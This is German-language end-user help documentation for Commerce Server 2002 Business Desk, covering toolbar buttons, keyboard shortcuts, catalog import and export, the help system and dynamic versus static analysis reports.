Jede Symbolleisten-Schaltfläche dient zur Ausführung einer Aktion in einem der Bildschirme von Commerce Server Business Desk. Nicht alle Symbolleisten-Schaltflächen sind in allen Bildschirmen verfügbar. Die folgende Tabelle führt die in Business Desk verfügbaren Symbolleisten-Schaltflächen auf und beschreibt kurz ihre jeweilige Funktion.

Symbolleisten-Schaltfläche | Beschreibung
Neu | Fügt einen neuen Artikel hinzu.
Öffnen | Öffnet den ausgewählten Artikel.
Kopieren | Kopiert das ausgewählte Element, um ein neues Element mit ähnlichen Eigenschaften zu erstellen.
Ansicht | Öffnet die/den ausgewählten Artikel zur Bearbeitung.
Importieren | Importiert eine Informationsgruppe.
Exportieren | Exportiert Informationen.
Löschen | Löscht die/den ausgewählten Artikel.
Senden | Sendet einen Katalog an einen Handelspartner durch Microsoft BizTalk Server. Diese Schaltfläche ist nur im Katalog-Editor-Modul verfügbar und nur dann aktiviert, wenn BizTalk Server installiert ist.
Virtuelle Kataloge neu erstellen Neu erstellen | Erstellt einen virtuellen Katalog neu. Das Neuerstellen eines virtuellen Katalogs ist erforderlich, nachdem ein Basiskatalog, Kategorien oder Produkte aufgenommen wurden.
Aktualisieren und Veröffentichen | Aktualisiert die Volltextindizes und die Caches des Katalogs. Veröffentlicht einen Katalog auf einer Retail-Site. Diese Schaltfläche ist nur im Katalog-Editor-Modul verfügbar.
Suchen | Öffnet den Suchbereich.
Archivieren | Speichert den ausgewählten Artikel in Business Desk-Archiven.
Zurück | Schließt den Bearbeitungsbildschirm und kehrt zum vorherigen Bildschirm zurück.
Abbrechen | Bricht die aktuelle Operation ab.
Mit Menü suchen | Öffnet eine Dropdownliste, in der ein zu durchsuchender Artikeltyp ausgewählt werden kann.
Hilfe | Öffnet die Business Desk-Hilfe für das aktuelle Modul. Hier können dann weitere Hilfethemen angezeigt werden.
Vorschau | Zeigt den ausgewählten Bericht in dem Format an, in welchem er gedruckt wird.
Drucken | Druckt den ausgewählten Bericht. Diese Schaltfläche ist nur in den Analysemodulen verfügbar.
Wiederherstellen | Stellt einen gelöschten Kampagnenartikel wieder her. Diese Schaltfläche ist nur im Kampagnen-Manager-Modul verfügbar.
Ausführen | Führt den ausgewählten Bericht aus. Diese Schaltfläche ist nur in den Analysemodulen verfügbar.
Speichern | Speichert die/den hinzugefügte/n oder geänderte/n Eigenschaft oder Artikel.
Speichern und neu erstellen | Speichert hinzugefügte oder geänderte Eigenschaften bzw. Artikel, und öffnet eine neue Seite, um einen neuen Artikel zu erstellen.
Speichern und zurück | Speichert hinzugefügte oder geänderte Eigenschaften oder Artikel, und kehrt zum Hauptmodulbildschirm zurück.

Siehe auch

Navigieren in Business Desk

Verwenden von Tastenkombinationen

Verwenden der Business Desk-Hilfe


Importieren und Exportieren von Daten

Verwenden Sie Commerce Server Business Desk, um Kataloge, Adressen- und Benutzerlisten zu importieren und zu exportieren. Die folgende Tabelle beschreibt die Daten, die importiert oder exportiert werden können.

Modul Importierte oder exportierte Daten
Katalog-Editor
  • Kataloge. Sie können Kataloge im CSV- (durch Trennzeichen getrennten) oder XML-(Extensible Markup Language)-Format aus und in externe Quellen importieren oder exportieren. Informationen über das Importieren und Exportieren von Katalogen finden Sie unter Importieren einer XML-Katalogdatei, Importieren einer CSV-Katalogdatei und Exportieren eines Katalogs.
Katalogdefinitions-Designer
  • Katalogeigenschaften. Verwenden Sie den Katalogdefinitions-Designer, um festzulegen, welche Katalogeigenschaften importiert und im Data Warehouse gespeichert werden sollen.

    Nachdem Ihr Systemadministrator die Katalogeigenschaften in Data Warehouse importiert hat, können Sie Berichte über sie ausführen. Informationen zum Festlegen der in das Data Warehouse zu exportierenden Eigenschaften finden Sie unter Hinzufügen einer Katalogeigenschaftsdefinition.

Profildefinitions-Designer
  • Profileigenschaften. Mit dem Profildefinitions-Designer können Sie festlegen, welche Profileigenschaften in das Data Warehouse importiert und dort gespeichert werden sollen.

    Nachdem Ihr Systemadministrator die Profileigenschaften in Data Warehouse importiert hat, können Sie Berichte über sie ausführen. Informationen zum Festlegen der in das Data Warehouse zu exportierenden Profileigenschaften finden Sie unter Hinzufügen einer neuen Eigenschaft zu einer Profildefinition.

Berichte
  • Dynamische Berichte. Beim Ausführen eines dynamischen Berichts können Sie diesen nach Microsoft Excel exportieren und als Kalkulationstabelle speichern.

Siehe auch

Importieren einer XML-Katalogdatei

Importieren einer CSV-Katalogdatei

Exportieren eines Katalogs

Importieren und Exportieren von Listen

Wenn Sie weitere Hilfe benötigen


Verwenden von Tastenkombinationen

In Commerce Server Business Desk können Sie mithilfe von Tastenkombinationen dieselben Funktionen zur Navigation und Bearbeitung aufrufen wie mit der Maus. Diese Tastenkombinationen ermöglichen die Ausführung aller in Business Desk verfügbaren Funktionen.

Die Tastenkombinationen werden in diesem Abschnitt beschrieben. Zusätzlich enthält er Tipps zum Navigieren in Business Desk mithilfe der Tastatur.

Tabstopps

Tabelle mit Tastenkombinationen

Tabstopps

Wenn Sie beginnen, sich mithilfe der Tabulatortaste durch den Business Desk-Startbildschirm zu bewegen, ist das aktive Element der Navigationsbereich. Das aktuell aktive Element wird durch eine gepunktete Linie um das entsprechende Bildschirmelement herum angezeigt.

Wenn Sie sich außerhalb des Navigationsbereichs bewegen, wechselt das aktive Element zur Symbolleiste und dann weiter zum Inhaltsbereich. Sofern sie in eine Liste mit Artikeln kommen, müssen Sie sich innerhalb der Liste mit den Pfeiltasten weiterbewegen. Mithilfe der EINGABETASTE oder der LEERTASTE können Sie Ihre Auswahl treffen.

Nachstehend finden Sie einige andere Tastenkombinationen:

  • In einem Dropdownmenü (einem Menü, neben dem ein nach unten zeigender Pfeil steht) treffen Sie Ihre Auswahl mithilfe der Pfeiltasten und drücken dann die EINGABETASTE.
  • Das Öffnen von Dropdownmenüs erfolgt mit der LEERTASTE.
  • Wenn Sie eine Schaltfläche verwenden müssen, drücken Sie TAB so lange, bis die Schaltfläche aktiviert ist. Drücken Sie dann die EINGABETASTE.
  • Wenn Sie sich zu einem Element zurückbewegen möchten, drücken Sie UMSCHALT+TAB.

So öffnen Sie ein Business Desk-Modul

So greifen Sie mithilfe der Tastatur auf Symbolleisten-Schaltflächen zu

So öffnen Sie Elementeigenschaften mithilfe der Tastatur

So öffnen Sie ein Business Desk-Modul

  1. Bewegen Sie sich im Navigationsbereich mithilfe der Tabulatortaste zu der Kategorie, die das Business Desk-Modul enthält, mit dem Sie arbeiten möchten, und drücken Sie anschließend die EINGABETASTE.
  2. Gehen Sie zum Namen des Moduls, mit dem Sie arbeiten möchten, und drücken Sie anschließend die EINGABETASTE.

    Das ausgewählte Modul wird geöffnet.

So greifen Sie mithilfe der Tastatur auf Symbolleisten-Schaltflächen zu

  1. Bewegen Sie sich im Navigationsbereich mithilfe der Tabulatortaste zu der Kategorie, die die Elemente enthält, welche Sie hinzufügen oder bearbeiten möchten, und drücken Sie anschließend die EINGABETASTE.
  2. Gehen Sie zum Namen des Moduls, mit dem Sie arbeiten möchten, und drücken Sie anschließend die EINGABETASTE.
  3. Wechseln Sie mithilfe der TAB-Taste zu der Symbolleisten-Schaltfläche, die Sie verwenden möchten, und drücken Sie anschließend die EINGABETASTE.

    Nun können Sie mithilfe der geöffneten Schaltflächenfunktion Änderungen oder Hinzufügungen vornehmen.

  4. Drücken Sie ALT+S, um Ihre Hinzufügungen oder Änderungen zu speichern.

Hinweise

  • Wenn Sie in ein Feld mit einer Dropdownliste gelangen, drücken Sie die EINGABETASTE, um in der Liste eine Auswahl zu treffen. Mithilfe der NACH-OBEN- oder NACH-UNTEN-TASTE wählen Sie die gewünschte Option aus. Drücken Sie anschließend die EINGABETASTE.
  • Wenn Sie ein Feld zurückgehen möchten, drücken Sie UMSCHALT+TAB.

Manchen Bildschirmelementen wurden dieselben Tastenkombinationen zugeordnet. Beispielsweise gilt die Tastenkombination ALT+O sowohl für das Bestellmodul im Navigationsbereich als auch für die Symbolleisten-Schaltfläche Öffnen. In diesem Fall wird mit der entsprechenden Tastenkombination zunächst das erste Bildschirmelement aktiviert, beim zweiten Betätigen der Tasten wird das nächste Element aktiviert und so weiter.

So öffnen Sie Elementeigenschaften mithilfe der Tastatur

  1. Bewegen Sie sich im Navigationsbereich mithilfe der Tabulatortaste zu der Kategorie, welche die Artikel enthält, mit denen Sie arbeiten möchten, und drücken Sie anschließend die EINGABETASTE.
  2. Gehen Sie zu dem Modul mit dem Sie arbeiten möchten, und drücken Sie anschließend die EINGABETASTE. Das ausgewählte Modul wird geöffnet.
  3. Gehen Sie im Inhaltsbereich in die Artikelliste, und verwenden Sie die NACH-OBEN- oder NACH-UNTEN-TASTE, um den gewünschten Artikel zu markieren.
  4. Drücken Sie die EINGABETASTE. Der Artikel ist nun markiert.
  5. Wechseln Sie mithilfe der TAB-Taste zur Symbolleisten-Schaltfläche Öffnen, und drücken Sie die EINGABETASTE.

    Die Eigenschaften des betreffenden Artikels werden angezeigt, sodass Sie sie ausführlich anzeigen oder ändern können.

Tabelle mit Tastenkombinationen

Business Desk ermöglicht das Navigieren ohne Maus mithilfe von Tastenkombinationen. Die folgende Tabelle enthält die Tastenkombinationen, die in Business Desk häufig verwendet werden. Ebenso können Sie prüfen, welche Tastenkombination für eine Symbolleisten-Schaltfläche verfügbar ist, indem Sie den Mauszeiger für kurze Zeit über diese Schaltfläche halten. Hiermit blenden Sie die QuickInfo für diese Schaltfläche ein.

Aktion | Tastenkombination
Öffnen | ALT+O
Suchen | ALT+F
Neu | ALT+N
Speichern | ALT+S
Speichern und zurück | ALT+K
Speichern und neu erstellen | ALT+N
Löschen | ALT+D
Kopieren | ALT+C
Eigenschaften anzeigen | ALT+V
Hilfe öffnen | ALT+?
Zurück | ALT+B
Ausführen | ALT+R
Exportieren | ALT+E
Importieren | ALT+I
Business Desk schließen | ALT+F4

Siehe auch

Verwenden von Symbolleisten-Schaltflächen

Verwenden der Business Desk-Hilfe

Navigieren in Business Desk

Wenn Sie weitere Hilfe benötigen


Vorbereitende Schritte

Bevor Sie Ihre Arbeit mit Commerce Server Business Desk beginnen, sollten Sie zunächst die folgenden Abschnitte unter Business Desk: Übersicht lesen. Dort finden Sie eine Beschreibung der Business Desk-Anwendung und des Business Desk Client. Erläutert, wie Business Desk für Ihre individuellen Anforderungen konfiguriert werden kann.

Ehe Sie Ihre Website zu Geschäftszwecken öffnen können, müssen Sie oder Ihr Siteentwickler mithilfe von Business Desk die folgenden Aufgaben ausführen:

  1. Erstellen eines Katalogs:
    • Importieren einer XML-Katalogdatei

      ODER

    • Erstellen einer Katalogdefinition
    • Erstellen eines Basiskatalogs
    • Preisberechnung von Produkten in einem Basiskatalog
  2. Aktualisieren und Veröffentlichen eines Katalogs
  3. Anpassen der Versandarten. Sie müssen festlegen, wie Commerce Server die Versandkosten berechnen soll: nach dem Produktgewicht, nach der vom Benutzer bestellten Menge oder nach dem Betrag der Zwischensumme für die Bestellung.

Nachdem Sie diese Schritte ausgeführt haben, können Sie mit Ihrer Website Geschäfte machen. Darüber hinaus empfehlen wir Ihnen jedoch, auch die folgenden Schritte auszuführen, um sich mit der Konfiguration von Business Desk für Ihre Site vertraut zu machen.

Führen Sie in der Kategorie Kampagnen folgende Aufgabe aus:

  • Einrichten der Referenztabellen. In den Referenztabellen werden die Branchencodes, Seitengruppen und Inhaltsgrößen gespeichert. Commerce Server liefert mehrere gebräuchliche Branchencodes und Inhaltsgrößen.

Führen Sie in der Kategorie Analyse folgende Aufgaben aus:

  1. Überprüfen Sie, ob die vorhandenen Berichte Ihren Anforderungen entsprechen. Eine Liste der in Commerce Server enthaltenen Berichte finden Sie unter Commerce Server 2002-Berichte. Wenn Sie weitere Berichte benötigen, können Sie selbst benutzerdefinierte Berichte erstellen oder sich an Ihren Siteentwickler wenden. Informationen zur Erstellung neuer Berichte erhalten Sie unter Erstellen einer neuen dynamischen Berichtsdefinition.
  2. Legen Sie in Zusammenarbeit mit Ihrem Systemadministrator fest, wann Daten in Data Warehouse importiert werden. Bevor Sie Berichte ausführen können, muss der Systemadministrator die Daten in Data Warehouse importieren.

Führen Sie in der Kategorie Benutzer folgende Aufgaben aus:

  1. Überprüfen Sie, ob die vorhandenen Profildefinitionen Ihren Anforderungen entsprechen. Eine Liste der in Commerce Server enthaltenen Profildefinitionen finden Sie unter Beispielprofildefinitionen. Wenn Sie weitere Profildefinitionen hinzufügen möchten, wenden Sie sich an Ihren Systemadministrator. Informationen zum Hinzufügen von Eigenschaften zu Profildefinitionen finden Sie unter Hinzufügen von Eigenschaften zu einer Profildefinition.
  2. Überprüfen Sie die vorhandenen Sitebegriffe, um sicherzustellen, dass sie Ihren Anforderungen entsprechen. Informationen zum Hinzufügen von Sitebegriffen erhalten Sie unter Erstellen eines Sitebegriffs.


Allgemeine Tasks

Nachdem Ihre Site veröffentlicht wurde, müssen Sie die folgenden Tasks möglicherweise regelmäßig ausführen:

  • Zurücksetzen eines Benutzerkennworts
  • Suchen, Anzeigen und Sortieren von Bestellungen
  • Hinzufügen eines Produkts zu einem Katalog
  • Preisberechnung für ein Produkt in einem Basiskatalog
  • Erstellen eines Preisnachlasses
  • Preisnachlässe für Produkte in einem virtuellen Katalog
  • Zielgruppenadressierung von Anzeigen
  • Ausführen von Berichten
  • Hinzufügen eines Organisationsprofils
  • Erstellen eines Sitebegriffs


Verwenden der Business Desk-Hilfe

Klicken Sie auf Hilfe, um von Commerce Server Business Desk auf die Onlinehilfe zuzugreifen. Die Hilfeinformationen werden für alle Bildschirme und Aufgaben angezeigt, bei denen Sie Unterstützung benötigen.

Business Desk bietet Hilfe sowohl zu Dialogfeldern als auch zu Aufgaben an. Die Dialogfeldhilfe beschreibt, welche Eingaben in den einzelnen Textfeldern vorzunehmen sind. Die Aufgabenhilfe führt Sie schrittweise durch eine bestimmte Aufgabe. Für Systemadministratoren und Siteentwickler ist darüber hinaus eine spezielle Dokumentation im Lieferumfang von Commerce Server 2002 enthalten.

Drucken von Hilfethemen

Registerkarte "Inhalt"

Registerkarte "Index"

Registerkarte "Suchen"

Glossarbegriffe

Drucken von Hilfethemen

  • Klicken Sie mit der rechten Maustaste auf das Thema, das Sie drucken möchten. Klicken Sie dann auf Drucken.
  • Wenn Sie ein Popupthema drucken möchten, klicken Sie mit der rechten Maustaste in das Popupfenster, und klicken Sie dann auf Drucken.
  • Um alle Themen eines Buches zu drucken, wählen Sie das entsprechende Buch auf der Registerkarte Inhalt. Klicken Sie auf der Hilfesymbolleiste erst auf Optionen, klicken Sie dann auf Drucken und schließlich auf Ausgewähltes Thema und alle Unterthemen drucken.

    Hinweis

    • Große Abbildungen werden möglicherweise unvollständig ausgedruckt. Wenn eine Abbildung sehr groß ist, ragt der Code bzw. die Abbildung möglicherweise rechts über den Seitenrand hinaus und wird nicht gedruckt.

Registerkarte "Inhalt"

Klicken Sie im Navigationsbereich der Business Desk-Hilfe auf die Registerkarte Inhalt, um das Inhaltsverzeichnis der Business Desk-Hilfe anzuzeigen. Klicken Sie auf den Namen eines Hilfethemas, um es anzuzeigen, oder auf das Pluszeichen (+) neben einem Hilfethema, um es zu erweitern. Das Thema wird auf der rechten Seite des Hilfefensters im Inhaltsbereich angezeigt.

Klicken Sie auf Drucken, um das aktuelle Thema oder das aktuelle Thema mit allen Unterthemen zu drucken. Sie können auch auf die Schaltfläche Aktualisieren klicken, um das Inhaltsverzeichnis mit dem Inhaltsbereich auf der rechten Seite zu synchronisieren. Nach einer Suche muss das Inhaltsverzeichnis mit dem Inhaltsbereich synchronisiert werden.

Registerkarte "Index"

Klicken Sie auf die Registerkarte Index, um den Onlineindex für Business Desk anzuzeigen.

So durchsuchen Sie den Index nach einem bestimmten Wort

  1. Klicken Sie im Fenster Business Desk-Dokumentation auf die Registerkarte Index.
  2. Geben Sie im Feld Zu suchendes Schlüsselwort ein Schlüsselwort oder einen Satz ein, nach dem gesucht werden soll. Der Index zeigt automatisch den Treffer im Index an, der dem gesuchten Wort am nächsten kommt.
  3. Haben Sie einen Treffer gefunden, klicken Sie auf Anzeigen. Im nun eingeblendeten Feld Gefundene Themen werden die Themen aufgelistet, in denen das gesuchte Wort vorkommt.
  4. Markieren Sie das entsprechende Thema, und klicken Sie auf Anzeigen, um die gewünschten Informationen zu erhalten. Das Thema wird im Inhaltsbereich angezeigt.

Registerkarte "Suchen"

Klicken Sie auf die Registerkarte Suchen, um die Business Desk-Hilfe nach bestimmten Schlüsselwörtern oder Sätzen zu durchsuchen.

So suchen Sie nach einem Schlüsselwort oder einem bestimmten Satz

  1. Klicken Sie im Fenster Business Desk-Dokumentation auf die Registerkarte Suchen.
  2. Geben Sie im Feld Suchen nach ein Schlüsselwort oder einen Satz ein, und klicken Sie anschließend auf Suchen. Die Liste mit Suchergebnissen wird im Inhaltsbereich angezeigt.

    Im Feld Suchtyp auswählen können Sie einen bestimmten Suchtyp auswählen. Standardmäßig wird exakt nach dem von Ihnen eingegebenen Satz gesucht. Folgende Suchtypen stehen zur Auswahl:

    Suchtyp | Beschreibung
    Genauer Ausdruck | Sucht nach der exakten Wortfolge, die Sie eingegeben haben. Wenn Sie beispielsweise Business Desk eingeben, gibt die Suche nur Themen zurück, die die Zeichenfolge "Business Desk" enthalten.
    Standardsuche | Sucht nach allen Formen der eingegebenen Wörter. Wenn Sie beispielsweise Business Desk eingeben, gibt die Suche alle Themen, die das Wort "Business", und alle Themen, die das Wort "Desk" enthalten, zurück.
  3. Klicken Sie auf den Titel des gewünschten Themas, um es anzuzeigen.

Das Thema wird im Inhaltsbereich angezeigt.

Glossarbegriffe

Wenn ein Business Desk-Hilfethema im Inhaltsbereich angezeigt wird, sind einige Begriffe (z. B. Commerce Server Business Desk) möglicherweise grün hervorgehoben. Wenn Sie diese Wörter anklicken, erhalten Sie eine Definition des jeweiligen Begriffs. Eine alphabetische Liste dieser Begriffe wird am Ende des Inhaltsverzeichnisses von Business Desk unter Glossar angezeigt.


Wenn Sie weitere Hilfe benötigen

Wenn Sie beim Verwenden oder Anpassen von Commerce Server Business Desk an Ihre jeweiligen Anforderungen zusätzliche Hilfe benötigen, wenden Sie sich an Ihren Systemadministrator oder Siteentwickler. Die folgende Tabelle listet die Aufgaben auf, die von den jeweiligen Personen ausgeführt werden.

Kontakt Aktion
Systemadministrator
  • Erstellen eines freigegebenen Ordners für den Import und Export von Katalogen
  • Konvertieren externer Kataloge im CSV- (durch Trennzeichen getrennten) oder XML-(Extensible Markup Language)-Format, sodass die Kataloge importiert werden können
  • Einrichten von Handelspartnern für den Austausch von Katalogen mit BizTalk Server
  • Importieren von Daten in das Data Warehouse, sodass Berichte ausgeführt werden können
  • Hinzufügen neuer Profildefinitionen und Datenquellen zur Erhebung zusätzlicher Profildaten
  • Sichern der Business Desk-Module
  • Planen von Direktsendungsaufträgen
  • Problembehandlung in Business Desk
  • Problembehandlung der Websiteumgebung
Siteentwickler
  • Integrieren der Website in vorhandene Systeme
  • Anpassen der einzelnen Business Desk-Funktionen
  • Hinzufügen neuer Module zu Business Desk
  • Hinzufügen verkaufsrelevanter Funktionen (z. B. Cross-Selling- und Up-Selling-Artikel) zu Ihrer Site
  • Aktivieren von Webseiten für das Darstellen von Anzeigen, sodass bestimmte Seitengruppen angesprochen werden können
  • Erstellen benutzerdefinierter Berichte


Business Desk-Analyse

Mithilfe der Analysemodule können Daten über die Aktivitäten von Besuchern einer Site analysiert werden. Sie können spezielle Informationen über registrierte Benutzer und auch das Benutzerverhalten von Besuchern der Site analysieren, z. B. wie viel Zeit sie auf einer bestimmten Seite verbracht oder auf welche Links sie geklickt haben.

Sie können diese Daten anhand von Berichten überprüfen. Die in diesen Berichten enthaltenen Informationen können Ihnen dabei helfen, fundierte Entscheidungen über Preisberechnung, Marketing, Werbung und andere unternehmensrelevante Aspekte zu treffen.

Bevor Sie Analyseberichte ausführen können, muss Microsoft Commerce Server 2002 vom Systemadministrator installiert werden. Außerdem muss der Systemadministrator Webverwendungs- und Transaktionsdaten in das Data Warehouse importieren und den Prozess zur Berichtsvorbereitung ausführen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Workflow für die Berichtsverwaltung. Beschreibt die Arbeitsabläufe für das Ausführen, Ändern und Verwalten von Berichten.
  • Informationen über dynamische und statische Berichte. Beschreibt die Komponenten von Business Desk-Analysemodulen, das Sichern von Berichten und die Eigenschaften eines Berichts. Ferner wird eine Übersicht über die verschiedenen Arten von Berichtsdefinitionen gegeben.
  • Commerce Server 2002-Berichte. Beschreibt die von Commerce Server 2002 zur Verfügung gestellten Berichte und deren Eigenschaften.
  • Clickstream-Analyse. Erläutert die Verwendungsweise von Commerce Server 2002 für die Clickstream-Analyse.
  • Vorbereitung für die Analyse von Commerce Server-Daten. Erläutert die zur Ausführung der Analysefunktionen von Commerce Server 2002 erforderlichen Schritte.
  • Suchen von Berichten. Erläutert, wie ein Bericht in der Berichtsliste gesucht wird.
  • Ausführen von Berichten. Erläutert, wie dynamische und statische Berichte ausgeführt werden.
  • Anzeigen von dynamischen Berichten. Erläutert, wie abgeschlossene dynamische Berichte angezeigt werden und wie die Drillthroughfunktion verwendet wird.
  • Anzeigen von statischen Berichten. Erläutert, wie statische Berichte im Modul "Abgeschlossene Berichte" geöffnet und angezeigt werden.
  • Drucken von Berichten. Erläutert, wie dynamische und statische Berichte vom Browserfenster aus gedruckt werden.
  • Exportieren eines dynamischen Berichts. Erläutert, wie ein dynamischer Bericht nach Microsoft Excel exportiert wird.
  • Erstellen einer neuen dynamischen Berichtsdefinition. Erläutert, wie eine neue dynamische Berichtsdefinition erstellt wird.
  • Löschen von Berichten. Erläutert, wie benutzerdefinierte dynamische Berichtsdefinitionen und abgeschlossene statische Berichte gelöscht werden.
  • Anzeigen von Berichtseigenschaften. Erläutert, wie die Eigenschaften von Berichten angezeigt werden.


Workflow für die Berichtsverwaltung

Die nachfolgende Abbildung illustriert ein Beispielszenario für das Ausführen, Ändern und Verwalten von Berichten. In dem Szenario wird davon ausgegangen, dass vom Systemadministrator die erforderlichen Berechtigungen zum Ausführen von Berichten und zum Zugreifen auf Data Warehouse-Datenbanken erteilt wurden.

Workflowdiagramm für Berichtsmanagement

Beispielszenario für die Ausführung dynamischer Berichte

  1. Führen Sie im Berichtsmodul dynamische Berichte aus, um die Wirksamkeit Ihrer Website zu analysieren sowie Verkaufs- und Webnutzungsdaten zu ermitteln.
  2. Öffnen Sie im Berichtsmodul einen dynamischen Standardbericht, z. B. den Bericht "Produktverkäufe".
  3. Bearbeiten Sie im Browserfenster eine vorhandene dynamische Berichtsdefinition, indem Sie den Datumsbereich ändern oder dem Bericht weitere Daten hinzufügen. Über die Liste PivotTable können Sie Dimensionen und Measures zu einem vorhandenen Bericht hinzufügen.
  4. Speichern Sie im Browserfenster den geänderten dynamischen Bericht als neue Berichtsdefinition.
  5. Führen Sie die neue dynamische Berichtsdefinition im Berichtsmodul wöchentlich bzw. nach Bedarf aus.

Beispielszenario für die Ausführung statischer Berichte

  1. Führen Sie im Berichtsmodul einen statischen Bericht aus, z. B. den Bericht "Eingangspfadanalyse". (Wenn Sie auf Ausführen klicken, wird das Dialogfeld Berichtsparameter angezeigt.)
  2. Passen Sie die Definitionen im Dialogfeld Berichtsparameter entsprechend Ihren speziellen Anforderungen an.
  3. Öffnen Sie im Modul "Abgeschlossene Berichte" den statischen Bericht, und zeigen Sie ihn im Browserfenster an. Der Bericht wird mit den angegebenen Informationen angezeigt. Bei Bedarf können Sie den Bericht drucken.

Siehe auch

Sichern von Berichten

Benutzer- und Adressenlisten

Importieren und Exportieren von Listen


Informationen über dynamische und statische Berichte

Mithilfe des Analysemoduls werden Berichte über die im Data Warehouse gespeicherten Benutzer- und Sitedaten ausgeführt. Anhand der Ergebnisse dieser Berichte kann dann eine Geschäftsanalyse vorgenommen werden, die Aufschluss darüber gibt, wie Kunden und potenzielle Kunden Ihre Website nutzen. So können Sie z. B. Berichte ausführen, welche die Merkmale Ihrer Benutzer und deren bisheriges Verhalten darstellen, und dann Ihre Site aktualisieren, um Benutzer, die einem bestimmten Profil entsprechen, mit Anzeigen oder Produkten gezielt anzusprechen.

Im Modul "Analyseberichte" können Sie auch Berichte mit mehreren Währungen ausführen. Dazu können die Sites für verschiedene Währungen eingerichtet werden. Beispielsweise können in Ihren Sites Transaktionen ausgeführt werden, die in verschiedenen Währungen geschrieben werden. Beim Ausführen von Berichten legen Sie fest, ob der Bericht für eine bestimmte Site oder für alle Sites ausgeführt werden soll.

Bevor Sie einen Bericht ausführen können, muss der Systemadministrator Ihre Sitedaten in das Data Warehouse importieren. Diese Daten stammen aus Webprotokolldateien, Commerce Server-Datenbanken und anderen Datenquellen. Nach dem Import der Daten können Sie diese analysieren, indem Sie in Business Desk Berichte ausführen. Der Systemadministrator verwendet zum Importieren der Daten die Commerce Server-DTS-Tasks (Data Transformation Services). Weitere Information finden Sie unter Vorbereitung für die Analyse von Commerce Server-Daten.

Weitere Informationen über die Verwendung von DTS-Tasks in Skriptform finden Sie unter Erstellen von Skripts für DTS-Tasks. Weitere Informationen über das Ausführen von DTS-Tasks finden Sie unter Ausführen des Data Warehouse.

Dieser Abschnitt beinhaltet folgende Themen:

  • Features von dynamischen und statischen Berichten
  • Dynamische Berichte
  • Drillthroughberichte
  • Statische Berichte
  • Verwenden von Berichten über Domänen
  • Berichtsdefinitionen
  • Dimensionen und Measures
  • PivotTables
  • PivotTable-Feldliste
  • Ausgeblendete Dimensionen
  • PivotCharts
  • Sichern von Berichten

Siehe auch

Berichte mit Zugriff auf OLAP-Cubes und SQL Server

Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen


Features von dynamischen und statischen Berichten

In der folgenden Tabelle werden die Unterschiede zwischen statischen und dynamischen Berichten aufgeführt.

Feature | Dynamischer Bericht | Statischer Bericht
Steuerung des Umfangs der Berichtsergebnisse | Der Umfang von Berichtsergebnissen wird durch Unterdrücken der Anzeige von Detaildaten gesteuert. | Den Umfang von Berichtsergebnissen können Sie steuern, indem Sie die Anzahl der Zeilen einschränken, die in die Berichtsdefinition einbezogen werden.
Änderungen am Inhalt des Berichts | Mithilfe des PivotTable-Features können Dimensionen und Measures zu Berichtsergebnissen hinzugefügt bzw. daraus entfernt werden. Ferner können Filter festgelegt und Dimensionsebenen erweitert bzw. reduziert werden. | Der Systemadministrator ändert statische Berichte programmgesteuert.
Export von Berichtsergebnissen direkt in den Listen-Manager | Die Ergebnisse eines dynamischen Berichts können nicht in den Listen-Manager exportiert werden. | Ein statischer Bericht kann als dynamische oder statische Liste in den Listen-Manager exportiert werden.
Export von Berichtsergebnissen in Microsoft Excel | Die Ergebnisse eines dynamischen Berichts können in Microsoft Excel exportiert werden. | Ein statischer Bericht kann nicht in Microsoft Excel exportiert werden.
Erstellung neuer Berichtsdefinitionen | Sie können einen vorhandenen dynamischen Bericht bearbeiten oder neue Berichte auf der Grundlage einer SQL Server-Abfrage bzw. eines OLAP-Cubes erstellen. Eine Anleitung zum Erstellen einer neuen dynamischen Berichtsdefinition finden Sie unter Erstellen einer neuen dynamischen Berichtsdefinition. | Der Systemadministrator ändert statische Berichte programmgesteuert.
Löschen von Berichtsdefinitionen | Benutzerdefinierte Definitionen dynamischer Berichte können gelöscht werden. Sie können jedoch nicht die Standarddefinitionen eines dynamischen Berichts löschen. | Benutzerdefinierte Definitionen statischer Berichte können gelöscht werden. Sie können jedoch nicht die Standarddefinitionen eines statischen Berichts löschen.
Speichern abgeschlossener Berichte | Abgeschlossene dynamische Berichte können nicht mit Daten in Business Desk gespeichert werden. | Abgeschlossene statische Berichte werden mit den entsprechenden Daten im Modul "Abgeschlossene Berichte" von Business Desk so lange gespeichert, bis sie gelöscht werden.
Anzeige von Berichtsergebnissen als Diagramm. | Abgeschlossene dynamische Berichte können als PivotCharts angezeigt werden. | Abgeschlossene statische Berichte können nicht als Diagramme angezeigt werden.
Anzeigen zusätzlicher Berichtsdaten für ausgewählte Berichte mithilfe der Drillthroughfunktion | Bei dynamischen OLAP-Berichten können Sie auf eine Zelle im PivotTable-Datenbereich doppelklicken, um die Detaildaten für diese Zelle abzurufen. | Bei statischen Berichten steht die Drillthroughfunktion nicht zur Verfügung.

Siehe auch

Berichte mit Zugriff auf OLAP-Cubes und SQL Server

Skripts zum Sichern von Datenbanken, auf die Berichte zugreifen


Dynamische Berichte

Ein dynamischer Bericht ist ein Bericht, der zur Laufzeit erstellt wird. Bei jeder Ausführung eines solchen Berichts werden die neuesten Daten im Data Warehouse abgefragt. Dabei wird nur die nicht veränderliche Berichtsdefinition gespeichert. (Hier unterscheidet sich der dynamische vom statischen Bericht, bei dem der Bericht zusammen mit den Daten im Data Warehouse gespeichert wird.) Verwenden Sie das Berichtsmodul zum Ausführen dynamischer Berichte.

Wenn Sie einen dynamischen Bericht ausführen, wird dieser in einem neuen Browserfenster von Internet Explorer als PivotTable und/oder PivotChart angezeigt. PivotTables und PivotCharts lassen sich in jedem dynamischen Bericht anzeigen oder ausblenden.

PivotTables enthalten Filter, Zeilen, Spalten, Dimensionen und Measures mit den Berichtsdetails.

PivotCharts sind grafische Darstellungen der Berichtsdaten.

Innerhalb der PivotTable und PivotChart können Datendetails angezeigt sowie Dimensionen und Measures verschoben werden, um eine andere Perspektive der Daten zu erhalten. Die PivotTable und die PivotChart bleiben untereinander synchronisiert, sodass in beiden immer dieselben Daten angezeigt werden.

Weitere Informationen über das Arbeiten mit PivotTables oder PivotCharts erhalten Sie, indem Sie im Bildschirm PivotTable bzw. PivotChart auf Hilfe klicken. Daraufhin wird die Onlinehilfe für Microsoft PivotTables und PivotCharts angezeigt.

Exportieren eines dynamischen Berichts

